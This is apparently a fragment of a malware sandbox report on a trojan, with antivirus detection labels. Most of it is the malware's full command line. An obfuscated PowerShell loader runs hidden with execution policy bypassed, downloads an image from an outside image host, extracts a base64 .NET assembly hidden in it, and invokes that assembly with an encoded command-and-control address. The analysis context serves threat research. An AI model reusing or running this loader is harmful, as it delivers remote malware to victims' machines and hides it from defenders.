omkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVOKe-eXPreSSioN ( (('zLpimage'+'Url = hiEhttps:/'+'/uploaddeimagens.com.br/images/004/654/536/original/new_image.'+'jpg?1698957750hiE;zLpwebClient = New'+'-Object System.Net.WebClient'+';'+'zLpimageBytes = zLpwebClient.DownloadData(zLpimageUrl);zLpimageText = [System.Text.Encoding]::UTF8.GetString('+'zLpimageBytes);zLpst'+'artFlag = hiE'+'<<BAS'+'E64_START>>hiE;zLpendFl'+'ag = hiE<<BASE64_END>>hiE;zLpstartIndex'+' = zLpimageText.IndexOf(zLpstartFlag);zL'+'pendIndex = zLpimageText.IndexOf'+'(zLpendFlag);zLpstartIndex -ge 0 -and zLpendIndex -gt zLpstartIndex;zLp'+'startIndex += zL'+'pstartFlag.Length;zLpbase64Length = zLpendIndex - zL'+'pstartIndex;zLpbase64Comma'+'nd = zLpimageText.Substring(zL'+'pstartIndex, zLpbase64'+'Length);zLpcom'+'mandB'+'ytes'+' = [System.Con'+'vert]::FromBase64String(zLpbase64'+'Command);zLploadedAssembly = [Sy'+'stem.Reflection.Assembly]::Load(zLpcommandBytes);zLptype = zLploadedAssembly.'+'GetType(hiEFiber.HomehiE);zLpmethod = zLptype.Ge'+'tMethod(hiEVAIhiE).Invoke(zLpnull, [object[]] (hiEdHh0LkFNS'+'C8wMDUvNjkxLjUyMi43MjEuODgxLy86cHR0aA==hiE , hiEhiE , hiE2hiE , '+'hiEregasmhiE , hiE5hiE , hiEC:SbCProgramDataSbC'+'hiE, '+'hiEhtmlbhiE))') -cREpLACe 'zLp',[CHAR]36 -RepLACe([CHAR]104+[CHAR]105+[CHAR]69),[CHAR]39 -RepLACe 'SbC',[CHAR]92))" |
Kaspersky | HEUR:Trojan.Script.Generic |
Kingsoft | Script.Trojan.Generic.a |
Data received | [ |
Data received | WeU¼º]Ò« ([& |